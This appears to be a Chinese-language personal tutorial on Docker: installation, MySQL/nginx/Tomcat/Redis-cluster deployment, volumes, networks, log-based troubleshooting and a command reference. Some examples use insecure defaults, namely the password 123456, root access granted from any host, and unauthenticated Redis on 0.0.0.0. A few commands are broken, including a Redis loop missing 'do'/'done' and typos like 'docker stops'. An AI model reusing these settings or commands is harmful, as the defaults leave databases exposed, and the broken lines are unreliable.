0%

Docker

docker安装

1.删除旧版
1
2
sudo yum update
yum remove docker
2.配置docker的yum仓库

首先要安装一个yum工具

1
yum install -y yum_utils

安装成功后,执行Docker的yum源:

1
2
3
sudo yum-config-manager \
--add-repo \
https://download.docker.com/linux/centos/docker-ce.repo
3.安装docker引擎
1
sudo yum install docker-ce docker-ce-cli containerd.io
4.启动Docker
1
2
3
4
5
6
7
8
启动
sudo systemctl start docker
停止
sudo systemctl stop docker
重启
sudo systemctl restart docker

docker ps(执行该命令如果不报错,就说明安装成功 )
5.测试 Docker 是否安装正常
1
sudo docker run hello-world
6.配置镜像加速器

阿里云

1
https://cr.console.aliyun.com/undefined/instances/mirrors

针对Docker客户端版本大于 1.10.0 的用户

您可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器,如果没有daemon则新建

1
2
3
4
{
"registry-mirrors": ["https://docker.mirrors.ustc.edu.cn"]
}

7.重启docker
1
2
sudo systemctl daemon-reload
sudo systemctl restart docker

mysql部署

1.镜像下载
1
2
docker pull mysql   下载最新版Mysql镜像 (其实此命令就等同于 : docker pull mysql:latest )
docker pull mysql:xxx 下载指定版本的Mysql镜像 (xxx指具体版本号)
2.检查当前所有Docker下载的镜像
1
docker images
3、创建Mysql容器并运行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#Docker 创建Mysql容器
docker run \
--name mysql \
-d \
-p 3306:3306 \
--restart unless-stopped \
-v /mydata/mysql/log:/var/log/mysql \
-v /mydata/mysql/data:/var/lib/mysql \
-v /mydata/mysql/conf:/etc/mysql \
-e MYSQL_ROOT_PASSWORD=123456 \
mysql:5.7
#命令解读
#命令 描述
docker run 创建一个新的容器 , 同时运行这个容器
–name mysql 启动容器的名字
-d 后台运行
-p 3306:3306 将容器的 3306 (后面那个) 端口映射到主机的 3306 (前面那个) 端口
–restart unless-stopped 容器重启策略
-v /mydata/mysql/log:/var/log/mysql 将日志文件夹挂载到主机
-v /mydata/mysql/data:/var/lib/mysql 将mysql储存文件夹挂载到主机
-v /mydata/mysql/conf:/etc/mysql 将配置文件夹挂载到主机
-e MYSQL_ROOT_PASSWORD=root 设置 root 用户的密码
mysql:5.7 (不写:5.7,默认最新版) 启动哪个版本的 mysql (本地镜像的版本)
\ shell 命令换行符
4、查看Mysql是否运行
1
2
3
4
5
6
7
### 查看Docker运行中的容器
docker ps
## 通过Docker命令进入Mysql容器内部
docker exec -it mysql /bin/bash
## 或者
#进入容器内部
docker exec -it mysql bash
5.客户端连接
6.镜像和容器

当我们利用Docker安装应用时,Docker会自动搜索并下载应用镜像(image)。镜像不仅包含应用本身,还包含应用
运行所需要的环境、配置、系统函数库。Docker会在运行镜像时创建一个隔离环境,称为容器(container)。

镜像仓库:存储和管理镜像的平台,Docker官方维护了一个公共仓库:Docker Hub。

入门基础

常见命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#查看镜像
docker images

#删除镜像
docker rmi

#查看docker 版本号信息
docker version

docker info #docker系统信息

#docker 帮助命令
docker --help
docker pull --help

#搜索镜像
docker search 镜像名
docker search --filter=STARS=9000 mysql 搜索 STARS >9000的 mysql 镜像
(可以在官网找到对应版本直接pull)

#查看日志
docker logs --tail 50 --follow --timestamps mysql

#查看容器中进程信息
docker top 容器id

#查看容器信息
docker ps

#查看全部容器信息
docker ps -a

#查看容器镜像的详细信息/镜像元数据
docker inspect 容器id

#容器启动与关闭
docker start/stop/kill/ 镜像/容器id

#登录与登出
docker login/logout

## 通过Docker命令进入Mysql容器内部 打开一个新的终端
docker exec -it mysql /bin/bash
## 或者
#进入容器内部
docker exec -it mysql bash

#方式2 进入容器正在执行的终端,不会启动新的进程
docker attach 容器id /bin/bash

#容器内文件拷贝
docker cp 容器id:容器内路径 目的主机路径


1
2
3
4
5
6
7
8
9
10
11
12
docker run参数
-d: 后台运行容器并返回容器 ID。
-it: 交互式运行容器,分配一个伪终端。
--name: 给容器指定一个名称。
-p: 端口映射,格式为 host_port:container_port。
-P:随机指定端口
-v: 挂载卷,格式为 host_dir:container_dir。
--rm: 容器停止后自动删除容器。
--env 或 -e: 设置环境变量。
--network: 指定容器的网络模式。
--restart: 容器的重启策略(如 no、on-failure、always、unless-stopped)。
-u: 指定用户。

直接运行docker run 不拉去镜像也能启动容器,不过当停止容器时会自动释放掉容器的所有内容

命令别名

1
alias [别名]=[需要别名的命令] 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#永久生效
vim /root/.bashrc

# .bashrc

# User specific aliases and functions

alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'

# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi

删除镜像

直接查看

1
docker ps -a

不带-a是查看所有已运行中的容器。

过滤查看

1
docker ps -a|grep xxx

查看所有退出的容器id列表

1
docker ps -a|grep Exited|awk '{print $1}'

删除指定容器

1
2
3
docker rm id/名称

docker rm -f id/名称

条件删除删除未启动容器

1
docker rm $(docker ps -a| grep Created|awk '{print $1}')

删除所有容器

1
docker rm $(docker ps -a -q)

如果要停止所有,把rm换成stop即可。

删除所有镜像

1
docker rmi $(docker images -q)

修改容器端口映射

方法一: 删除原有容器,重新建新容器

这个解决方案最为简单,把原来的容器删掉,重新建一个。当然这次不要忘记加上端口映射。

1
2
docker run -d -uroot -p 8989:8080 --name jenkins1 -v /home/xianyudoufu/jenkins_node:/var/jenkins_home jenkins/jenkins:2.289.3-cen
tos

优缺点:优点是简单快捷,在测试环境使用较多。缺点是如果是数据库镜像,那重新建一个又要重新配置一次,就会比较麻烦。

方法二:修改容器配置文件,重启docker服务

今天我需要新增一个端口,就是通过这个方式处理的,亲测有效。

首先关闭docker服务

1
systemctl stop docker

关闭之后,找到容器的配置文件路径,通常都是安装在这个路径下方

1
cd /var/lib/docker/containers

然后我们在ls查看一下容器,找我们想要修改的容器ID
修改容器中的 hostconfig.json 文件

1
vi 容器ID hostconfig.json

如上图,文件中其中有一项是PortBindings,其中8080/tcp对应的是容器内部的8080端口,HostPort对应的是映射到宿主机的端口8989。8361/tcp对应的是容器内部的8361端口,HostPort对应的是映射到宿主机的端口9999,按需修改端口。

修改容器中 config.v2.json 文件

1
vi 容器ID /config.v2.json 

这里面是容器原本的端口号,检查一下对不对,不对的话进行修改

全部弄好之后,启动容器

1
systemctl start docker

优缺点:这个方法的优点是没有副作用,操作简单。缺点是需要重启整个docker服务,如果在同一个宿主机上运行着多个容器服务的话,就会影响其他容器服务。

方法三:利用docker commit新构镜像

docker commit:把一个容器的文件改动和配置信息commit到一个新的镜像。这个在测试的时候会非常有用,把容器所有的文件改动和配置信息导入成一个新的docker镜像,然后用这个新的镜像重起一个容器,这对之前的容器不会有任何影响。

停止docker容器

1
docker stops container01

commit该docker容器

1
docker commit container01 new_image:tag

用前一步新生成的镜像重新起一个容器

1
docker run --name container02 -p 80:80 new_image:tag

优缺点:这种方式的优点是不会影响统一宿主机上的其他容器,缺点是管理起来显得比较乱,没有第二种方法那么直观。

docker容器正在启动中无法exec控制容器错误排查

现象

1
2
3
[root@localhost ~]# docker exec -it mysql bash
Error response from daemon: Container 86a52dd7c0252d6ec55e365dc6aa199be5f6d682112d7f2f3341fb2e8fecb283 is restarting, wait until the container is running

(1)查看容器是否启动

1
2
3
4
[root@localhost ~]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
86a52dd7c025 mysql "docker-entrypoint.s…" 13 minutes ago Restarting (1) 32 seconds ago mysql

容器启动,状态Restarting,端口空白

(2)查看端囗是否被占用

以为一直主机上已经有MySQL,启动容器时已经将容器3306映射到主机的3307

1
[root@localhost ~]# lsof -i:3307

现在主机端口3307未被占用,

(3)查看docker日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
[root@localhost ~]# docker logs --tail 50 --follow --timestamps mysql 
2025-01-20T08:20:26.734594188Z mysqld: [ERROR] Stopped processing the 'includedir' directive in file /etc/my.cnf at line 32.
2025-01-20T08:20:26.734698588Z mysqld: [ERROR] Fatal error in defaults handling. Program aborted!
2025-01-20T08:20:40.377050799Z 2025-01-20 08:20:40+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 9.1.0-1.el9 started.
2025-01-20T08:20:40.419462151Z 2025-01-20 08:20:40+00:00 [ERROR] [Entrypoint]: mysqld failed while attempting to check config
2025-01-20T08:20:40.419505081Z command was: mysqld --verbose --help --log-bin-index=/tmp/tmp.8250f3JkdC
2025-01-20T08:20:40.419515251Z mysqld: Can't read dir of '/etc/mysql/conf.d/' (OS errno 2 - No such file or directory)
2025-01-20T08:20:40.419549450Z mysqld: [ERROR] Stopped processing the 'includedir' directive in file /etc/my.cnf at line 32.
2025-01-20T08:20:40.419563941Z mysqld: [ERROR] Fatal error in defaults handling. Program aborted!
2025-01-20T08:21:13.680145697Z 2025-01-20 08:21:13+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 9.1.0-1.el9 started.
2025-01-20T08:21:13.717457825Z 2025-01-20 08:21:13+00:00 [ERROR] [Entrypoint]: mysqld failed while attempting to check config
2025-01-20T08:21:13.717596515Z command was: mysqld --verbose --help --log-bin-index=/tmp/tmp.TYh3CpN1u8
2025-01-20T08:21:13.717636655Z mysqld: Can't read dir of '/etc/mysql/conf.d/' (OS errno 2 - No such file or directory)
2025-01-20T08:21:13.717798115Z mysqld: [ERROR] Stopped processing the 'includedir' directive in file /etc/my.cnf at line 32.
2025-01-20T08:21:13.717837625Z mysqld: [ERROR] Fatal error in defaults handling. Program aborted!
2025-01-20T08:22:05.745368974Z 2025-01-20 08:22:05+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 9.1.0-1.el9 started.
2025-01-20T08:22:05.789739896Z 2025-01-20 08:22:05+00:00 [ERROR] [Entrypoint]: mysqld failed while attempting to check config
2025-01-20T08:22:05.789822966Z command was: mysqld --verbose --help --log-bin-index=/tmp/tmp.C05n80Ysco
2025-01-20T08:22:05.789859597Z mysqld: Can't read dir of '/etc/mysql/conf.d/' (OS errno 2 - No such file or directory)
2025-01-20T08:22:05.789893527Z mysqld: [ERROR] Stopped processing the 'includedir' directive in file /etc/my.cnf at line 32.
2025-01-20T08:22:05.789927187Z mysqld: [ERROR] Fatal error in defaults handling. Program aborted!
2025-01-20T08:23:12.645946982Z 2025-01-20 08:23:12+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 9.1.0-1.el9 started.
2025-01-20T08:23:12.684595612Z 2025-01-20 08:23:12+00:00 [ERROR] [Entrypoint]: mysqld failed while attempting to check config
2025-01-20T08:23:12.684630352Z command was: mysqld --verbose --help --log-bin-index=/tmp/tmp.1rB9VCkp64
2025-01-20T08:23:12.684640702Z mysqld: Can't read dir of '/etc/mysql/conf.d/' (OS errno 2 - No such file or directory)
2025-01-20T08:23:12.684649972Z mysqld: [ERROR] Stopped processing the 'includedir' directive in file /etc/my.cnf at line 32.
2025-01-20T08:23:12.684659332Z mysqld: [ERROR] Fatal error in defaults handling. Program aborted!
2025-01-20T08:24:24.216607747Z 2025-01-20 08:24:24+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 9.1.0-1.el9 started.
2025-01-20T08:24:24.257900368Z 2025-01-20 08:24:24+00:00 [ERROR] [Entrypoint]: mysqld failed while attempting to check config
2025-01-20T08:24:24.257941768Z command was: mysqld --verbose --help --log-bin-index=/tmp/tmp.6GSe4KbVW1
2025-01-20T08:24:24.257954068Z mysqld: Can't read dir of '/etc/mysql/conf.d/' (OS errno 2 - No such file or directory)
2025-01-20T08:24:24.257965368Z mysqld: [ERROR] Stopped processing the 'includedir' directive in file /etc/my.cnf at line 32.
2025-01-20T08:24:24.257976968Z mysqld: [ERROR] Fatal error in defaults handling. Program aborted!
2025-01-20T08:25:29.659499906Z 2025-01-20 08:25:29+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 9.1.0-1.el9 started.
2025-01-20T08:25:29.700926926Z 2025-01-20 08:25:29+00:00 [ERROR] [Entrypoint]: mysqld failed while attempting to check config
2025-01-20T08:25:29.701021426Z command was: mysqld --verbose --help --log-bin-index=/tmp/tmp.a8mWSG80iJ
2025-01-20T08:25:29.701061526Z mysqld: Can't read dir of '/etc/mysql/conf.d/' (OS errno 2 - No such file or directory)
2025-01-20T08:25:29.701099426Z mysqld: [ERROR] Stopped processing the 'includedir' directive in file /etc/my.cnf at line 32.
2025-01-20T08:25:29.701290726Z mysqld: [ERROR] Fatal error in defaults handling. Program aborted!
2025-01-20T08:26:34.665746987Z 2025-01-20 08:26:34+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 9.1.0-1.el9 started.
2025-01-20T08:26:34.706785408Z 2025-01-20 08:26:34+00:00 [ERROR] [Entrypoint]: mysqld failed while attempting to check config
2025-01-20T08:26:34.706926808Z command was: mysqld --verbose --help --log-bin-index=/tmp/tmp.iW6BztAeCU
2025-01-20T08:26:34.707219808Z mysqld: Can't read dir of '/etc/mysql/conf.d/' (OS errno 2 - No such file or directory)
2025-01-20T08:26:34.707260608Z mysqld: [ERROR] Stopped processing the 'includedir' directive in file /etc/my.cnf at line 32.
2025-01-20T08:26:34.707302108Z mysqld: [ERROR] Fatal error in defaults handling. Program aborted!
2025-01-20T08:27:39.135705165Z 2025-01-20 08:27:39+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 9.1.0-1.el9 started.
2025-01-20T08:27:39.176601786Z 2025-01-20 08:27:39+00:00 [ERROR] [Entrypoint]: mysqld failed while attempting to check config
2025-01-20T08:27:39.176695586Z command was: mysqld --verbose --help --log-bin-index=/tmp/tmp.6Qbbqnndbq
2025-01-20T08:27:39.176736686Z mysqld: Can't read dir of '/etc/mysql/conf.d/' (OS errno 2 - No such file or directory)
2025-01-20T08:27:39.176774786Z mysqld: [ERROR] Stopped processing the 'includedir' directive in file /etc/my.cnf at line 32.
2025-01-20T08:27:39.176812086Z mysqld: [ERROR] Fatal error in defaults handling. Program aborted!

其中:主要下面几种报错循环报错

1
2
3
4
5
2025-01-20T08:26:34.707302108Z mysqld: [ERROR] Fatal error in defaults handling. Program aborted!
2025-01-20T08:27:39.135705165Z 2025-01-20 08:27:39+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 9.1.0-1.el9 started.
2025-01-20T08:27:39.176601786Z 2025-01-20 08:27:39+00:00 [ERROR] [Entrypoint]: mysqld failed while attempting to check config
2025-01-20T08:27:39.176695586Z command was: mysqld --verbose --help --log-bin-index=/tmp/tmp.6Qbbqnndbq
2025-01-20T08:27:39.176736686Z mysqld: Can't read dir of '/etc/mysql/conf.d/' (OS errno 2 - No such file or directory) #这个报错指不能找到conf.d文件

从上面报错信息可以看出 mysqld: Can’t read dir of ‘/etc/mysql/conf.d/‘ (无法读取/etc/mysql/conf.d/目录)。这样就知道原因了,mysql找不到conf.d目录。所以启动容器时指定到conf.d目录

修改创建容器的的语句,

1
2
3
4
5
6
7
8
9
10
11
12
#Docker 创建Mysql容器
#-p参数中port1:port2 port1是主机端口 port2是容器端口
docker run \
--name mysql \
-d \
-p 3307:3306 \
--restart unless-stopped \
-v /mydata/mysql/log:/var/log/mysql \
-v /mydata/mysql/data:/var/lib/mysql \
-v /mydata/mysql/conf/:/etc/mysql/conf.d \
-e MYSQL_ROOT_PASSWORD=123456 \
mysql
1
2
3
4
5
docker run -p 3307:3306 --privileged=true \
-v /mysql/data:/var/lib/mysql \
-v /mysql/log:/var/log/mysql \
-v /mysql/conf:/etc/mysql/conf.d \ #如果需要给mysql进行配置,可以将配置文件写入conf映射到容器里
-e MYSQL_ROOT_PASSWORD=123456 --name=mysql-server -d mysql

远程连接mysql

1
2
3
4
5
6
7
8
#创建一个新的用户或者授权现有用户(如果已存在):
CREATE USER 'root'@'%' IDENTIFIED BY 'password';
#或者
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION;
#刷新权限:
FLUSH PRIVILEGES;
#其中,'root'@'%'表示任何IP地址的客户端都可以用root用户连接到服务器,'password'是你为root用户设置的密码。
#请确保你的防火墙允许3306端口(或你自定义的MySQL端口)的入站连接。

后台启动应用避雷

我们 docker run 启动容器的时候,常需要将其在后台运行,通常我们设置参数 -d 即可。

但后台运行,其实是有前提的,如果没有前台进程,那么实际运行完docker run命令后,会处于退出状态,即exited。

1
2
3
#例子:
docker run -d --name my-redis redis bash
# 指定命令是bash,但显然bash在容器起来后,很快就会结束,导致没有前台进程,故容器处于退出状态

Docker容器后台运行,必须有一个前台进程。容器运行的命令如果不是那些一直挂起的命令(比如运行ping,sleep),就是会自动退出的。
而上面的代码中bash就是需要执行的指定的命令。
命令如果执行完毕了,或者叫指定的应用终结时,容器会自动停止。

解决办法

目前了解的可以使用以下3种方法,具体用哪种方法,依据实际情况,生产情况下,通常用docker-compose结合具体cmd作为容器初起的命令。

1.指定挂起阻塞命令启动容器

1
docker run -d --name my-redis redis sleep 99999999999999

命令执行后,通过**docker ps -a | grep my-redis,可以看到容器处于运行状态,即up**。

2.使用交互界面后退出容器

1
docker run -it --name my-redis redis bash

之后会进入容器,如果想保持容器后台运行,我们可以 **Ctrl + p + q,再次查看容器运行状态,也可以看到容器处于up**状态。

3.-td命令结合使用

1
2
docker run -itd --name my-redis2 redis bash
# -i 不是必需,加了,容器起来后终端返回容器ID

刚也提到,就是-d运行容器时,需要有前台进程,-t提供一个伪终端,类似前台进程,查看容器运行状态,也可以看到,容器处于**up**状态。

docker 安装nginx

1、用 docker search nginx 命令来查看可用版本:

1
docker search nginx

2、取最新版的 Nginx 镜像

这里我们拉取官方的最新版本的镜像:

1
docker pull nginx:latest

3、查看本地镜像

使用以下命令来查看是否已安装了 nginx:

1
docker images

4、运行容器

安装完成后,我们可以使用以下命令来运行 nginx 容器:

1
docker run --name nginx-test -p 8080:80 -d nginx

参数说明:

  • –name nginx-test:容器名称。
  • -p 8080:80: 端口进行映射,将本地 8080 端口映射到容器内部的 80 端口。
  • -d nginx: 设置容器在在后台一直运行

docker 安装tomcat

其他步骤与mysql和nginx相同

1
docker run --name tomcat -p 8080:8080 -v $PWD/test:/usr/local/tomcat/webapps/test -d tomcat 容器id

-p 8080:8080:将主机的 8080 端口映射到容器的 8080 端口。

-v $PWD/test:/usr/local/tomcat/webapps/test:将主机中当前目录下的 test 挂载到容器的 /test。

容器数据卷

1.直接使用命令挂载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
docker run -it -v host_dir:container_dir
#容器内目录与容器外目录进行双向绑定

# 查看所有数据卷
docker volume ls

# 查看数据卷详细信息
docker volume inspect volume_name

# 删除指定数据卷
docker volume rm volume_name

# 删除所有未使用的数据卷
docker volume prune

2.具名挂载和匿名挂载

1
2
3
4
5
6
7
8
9
10
#匿名挂载(匿名卷)
docker run -d -p 6379:6379 --name mycentos -v /src/volume01

#具名挂载(命名卷) -v 宿主机数据卷所在路径:容器数据卷所在路径
docker run -d -p 6379:6379 --name mycentos -v /home/docker_volume:/src/volume01


#查看所有的volume的情况
docker volume ls

数据卷的权限设置:

1
2
3
4
5
# 只读挂载
docker run -v volume_name:/container/path:ro

# 读写挂载(默认)
docker run -v volume_name:/container/path:rw

容器数据卷

1
2
3
#容器间数据共享,只要一个容器还在数据就不会丢失
docker run -it --name docker01 tyc10/centos
docker run -it --name docker02 --volumes-from docker01 tyc10/centos
1
2
3
4
docker run -d -p 6603:3306 -v /home/mysql/conf:/etc/mysql/conf.d -v /home/mysql/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 --name mysql01 mysql:5.7


docker run -d -p 6604:3306 -e MYSQL_ROOT_PASSWORD=123456 --name mysql02 --volumes-from mysql01 mysql:5.7

容器间配置信息的传递,数据卷容器生命周期一直持续到没有容器使用为止

一旦 -v 持久化到本地,就不会删除

dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
FROM            # 基础镜像,一切从这里开始构建
MAINTAINER # 镜像是谁写的, 姓名+邮箱
RUN # 镜像构建的时候需要运行的命令
ADD # 步骤, tomcat镜像, 这个tomcat压缩包!添加内容
WORKDIR # 镜像的工作目录
VOLUME # 挂载的目录
EXPOSE # 保留端口配置
CMD # 指定这个容器启动的时候要运行的命令,只有最后一个会生效可被替代
ENTRYPOINT # 指定这个容器启动的时候要运行的命令, 可以追加命令
ONBUILD # 当构建一个被继承DockerFile 这个时候就会运行 ONBUILD 的指令,触发指令
COPY # 类似ADD, 将我们文件拷贝到镜像中
ENV # 构建的时候设置环境变量!

docker网络互联

自定义网络

1
2
3
4
5
6
7
8
9
10
11
# 我们直接启动的命令 --net bridge,而这个就是我们得docker0
# bridge就是docker0
$ docker run -d -P --name tomcat01 tomcat
等价于 => docker run -d -P --name tomcat01 --net bridge tomcat

# docker0,特点:默认,容器名不能访问。 --link可以打通连接,但是很麻烦!
# 我们可以 自定义一个网络
# --driver bridge
# --subnet 192.168.0.0/16 可以支持255*255个网络 192.168.0.2 ~ 192.168.255.254
# --gateway 192.168.0.1
$ docker network create --driver bridge --subnet 192.168.0.0/16 --gateway 192.168.0.1 mynet

redis集群

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# 创建网卡
docker network create redis_net --subnet 172.38.0.0/16

# 通过脚本创建六个redis配置
for port in $(seq 1 6);\
do \
mkdir -p /mydata/redis/node-${port}/conf
touch /mydata/redis/node-${port}/conf/redis.conf
cat << EOF >> /mydata/redis/node-${port}/conf/redis.conf
port 6379
bind 0.0.0.0
cluster-enabled yes
cluster-config-file nodes.conf
cluster-node-timeout 5000
cluster-announce-ip 172.38.0.1${port}
cluster-announce-port 6379
cluster-announce-bus-port 16379
appendonly yes
EOF
done

# 通过脚本运行6个redis
for port in $(seq 1 6);\
docker run -p 637${port}:6379 -p 1667${port}:16379 --name redis-${port} \
-v /mydata/redis/node-${port}/data:/data \
-v /mydata/redis/node-${port}/conf/redis.conf:/etc/redis/redis.conf \
-d --net redis_net --ip 172.38.0.1${port} redis:5.0.9-alpine3.11 redis-server /etc/redis/redis.conf

# 手动创那家6个redis
# 创建结点1
docker run -p 6371:6379 -p 16371:16379 --name redis-1 \
-v /mydata/redis/node-1/data:/data \
-v /mydata/redis/node-1/conf/redis.conf:/etc/redis/redis.conf \
-d --net redis_net --ip 172.38.0.11 redis:5.0.9-alpine3.11 redis-server /etc/redis/redis.conf

#创建结点2
docker run -p 6372:6379 -p 16372:16379 --name redis-2 \
-v /mydata/redis/node-2/data:/data \
-v /mydata/redis/node-2/conf/redis.conf:/etc/redis/redis.conf \
-d --net redis_net --ip 172.38.0.12 redis:5.0.9-alpine3.11 redis-server /etc/redis/redis.conf
#创建结点3
docker run -p 6373:6379 -p 16373:16379 --name redis-3 \
-v /mydata/redis/node-3/data:/data \
-v /mydata/redis/node-3/conf/redis.conf:/etc/redis/redis.conf \
-d --net redis_net --ip 172.38.0.13 redis:5.0.9-alpine3.11 redis-server /etc/redis/redis.conf
#创建结点4
docker run -p 6374:6379 -p 16374:16379 --name redis-4 \
-v /mydata/redis/node-4/data:/data \
-v /mydata/redis/node-4/conf/redis.conf:/etc/redis/redis.conf \
-d --net redis_net --ip 172.38.0.14 redis:5.0.9-alpine3.11 redis-server /etc/redis/redis.conf
#创建结点5
docker run -p 6375:6379 -p 16375:16379 --name redis-5 \
-v /mydata/redis/node-5/data:/data \
-v /mydata/redis/node-5/conf/redis.conf:/etc/redis/redis.conf \
-d --net redis_net --ip 172.38.0.15 redis:5.0.9-alpine3.11 redis-server /etc/redis/redis.conf
#创建结点6
docker run -p 6376:6379 -p 16376:16379 --name redis-6 \
-v /mydata/redis/node-6/data:/data \
-v /mydata/redis/node-6/conf/redis.conf:/etc/redis/redis.conf \
-d --net redis_net --ip 172.38.0.16 redis:5.0.9-alpine3.11 redis-server /etc/redis/redis.conf


# 创建集群
docker exec -it redis-1 /bin/sh #redis默认没有bash
redis-cli --cluster create 172.38.0.11:6379 172.38.0.12:6379 172.38.0.13:6379 172.38.0.14:6379 172.38.0.15:6379 172.38.0.16:6379 --cluster-replicas 1

基础命令总结

1. Docker运行

要在Docker中运行容器,可以使用以下命令:

1
docker run [OPTIONS] IMAGE [COMMAND] [ARG...]
  • docker run:运行容器的命令。
  • [OPTIONS]:可选参数,用于配置容器的各种选项,如端口映射、容器名称等。
  • IMAGE:要运行的镜像名称或ID。
  • [COMMAND] [ARG...]:可选的命令和参数,用于在容器内执行特定的命令。

2. Docker构建

要构建自己的Docker镜像,可以使用以下命令:

1
docker build [OPTIONS] PATH | URL | -
  • docker build:构建镜像的命令。
  • [OPTIONS]:可选参数,用于配置构建过程,如镜像标签、构建上下文路径等。
  • PATH | URL | -:Dockerfile所在的路径、URL或者使用标准输入作为Dockerfile。

3. Docker pull

要从Docker仓库中拉取现有的镜像,可以使用以下命令:

1
docker pull [OPTIONS] NAME[:TAG|@DIGEST]
  • docker pull:拉取镜像的命令。
  • [OPTIONS]:可选参数,用于配置拉取过程,如认证信息等。
  • NAME[:TAG|@DIGEST]:要拉取的镜像名称、标签或摘要。

4. Docker push

要将本地的镜像推送到Docker仓库,可以使用以下命令:

1
docker push [OPTIONS] NAME[:TAG]
  • docker push:推送镜像的命令。
  • [OPTIONS]:可选参数,用于配置推送过程,如认证信息等。
  • NAME[:TAG]:要推送的镜像名称和标签。

5. Docker images

要列出本地所有的镜像,可以使用以下命令:

1
2
docker images [OPTIONS] [REPOSITORY[:TAG]]
1
  • docker images:列出镜像的命令。
  • [OPTIONS]:可选参数,用于配置输出结果的格式等。
  • [REPOSITORY[:TAG]]:可选的镜像名称和标签,用于过滤输出结果。

6. Docker ps

要列出正在运行的容器,可以使用以下命令:

1
2
docker ps [OPTIONS]
1
  • docker ps:列出容器的命令。
  • [OPTIONS]:可选参数,用于配置输出结果的格式和过滤条件。

7. Docker stop

要停止正在运行的容器,可以使用以下命令:

1
2
docker stop [OPTIONS] CONTAINER [CONTAINER...]
1
  • docker stop:停止容器的命令。
  • [OPTIONS]:可选参数,用于配置停止过程,如超时时间等。
  • CONTAINER [CONTAINER...]:要停止的容器名称或ID。

8. Docker start

要启动已停止的容器,可以使用以下命令:

1
2
docker start [OPTIONS] CONTAINER [CONTAINER...]
1
  • docker start:启动容器的命令。
  • [OPTIONS]:可选参数,用于配置启动过程,如守护模式等。
  • CONTAINER [CONTAINER...]:要启动的容器名称或ID。

9. Docker restart

要重启正在运行的容器,可以使用以下命令:

1
2
docker restart [OPTIONS] CONTAINER [CONTAINER...]
1
  • docker restart:重启容器的命令。
  • [OPTIONS]:可选参数,用于配置重启过程,如超时时间等。
  • CONTAINER [CONTAINER...]:要重启的容器名称或ID。

10. Docker kill

要强制终止正在运行的容器,可以使用以下命令:

1
2
docker kill [OPTIONS] CONTAINER [CONTAINER...]
1
  • docker kill:终止容器的命令。
  • [OPTIONS]:可选参数,用于配置终止过程,如信号等。
  • CONTAINER [CONTAINER...]:要终止的容器名称或ID。

11. Docker rm/docker rmi

要删除已停止的容器或镜像,可以使用以下命令:

1
2
docker rm [OPTIONS] CONTAINER [CONTAINER...]   docker rmi [OPTIONS] IMAGE [IMAGE...]
1
  • docker rm:删除容器的命令。
  • docker rmi:删除镜像的命令。
  • [OPTIONS]:可选参数,用于配置删除过程,如强制删除等。
  • CONTAINER [CONTAINER...]:要删除的容器名称或ID。
  • IMAGE [IMAGE...]:要删除的镜像名称或ID。

12. Docker exec

要在运行中的容器内执行命令,可以使用以下命令:

1
2
docker exec [OPTIONS] CONTAINER COMMAND [ARG...]
1
  • docker exec:在容器内执行命令的命令。
  • [OPTIONS]:可选参数,用于配置执行过程,如进入交互模式等。
  • CONTAINER:要执行命令的容器名称或ID。
  • COMMAND [ARG...]:要在容器内执行的命令及其参数。

13. Docker logs

要查看容器的日志输出,可以使用以下命令:

1
2
docker logs [OPTIONS] CONTAINER
1
  • docker logs:查看容器日志的命令。
  • [OPTIONS]:可选参数,用于配置输出结果,如时间戳等。
  • CONTAINER:要查看日志的容器名称或ID。

14. Docker inspect

要获取容器或镜像的详细信息,可以使用以下命令:

1
2
docker inspect [OPTIONS] NAME|ID [NAME|ID...]
1
  • docker inspect:获取详细信息的命令。
  • [OPTIONS]:可选参数,用于配置输出结果的格式等。
  • NAME|ID [NAME|ID...]:要获取信息的容器或镜像的名称或ID。

15. Docker cp

要在容器和主机之间复制文件或目录,可以使用以下命令:

1
2
docker cp [OPTIONS] CONTAINER:SRC_PATH DEST_PATH   docker cp [OPTIONS] SRC_PATH|- CONTAINER:DEST_PATH
1
  • docker cp:复制文件或目录的命令。
  • [OPTIONS]:可选参数,用于配置复制过程,如权限等。
  • CONTAINER:SRC_PATH:源路径,其中CONTAINER是容器名称或ID。
  • DEST_PATH:目标路径,其中DEST_PATH是主机路径。
  • SRC_PATH|-:源路径,其中-表示从标准输入读取。

16. Docker system prune

要清理不再使用的镜像、容器和其他资源,可以使用以下命令:

1
2
docker system prune [OPTIONS]
1
  • docker system prune:清理资源的命令。
  • [OPTIONS]:可选参数,用于配置清理过程,如强制删除等。

17. Docker network

Docker网络允许容器之间进行通信和连接到外部网络。以下是一些与Docker网络相关的常用命令:

  • docker network ls:列出所有的Docker网络。
  • docker network create:创建一个新的Docker网络。
  • docker network connect:将容器连接到指定的Docker网络。
  • docker network disconnect:将容器从指定的Docker网络断开连接。

18. Docker volume

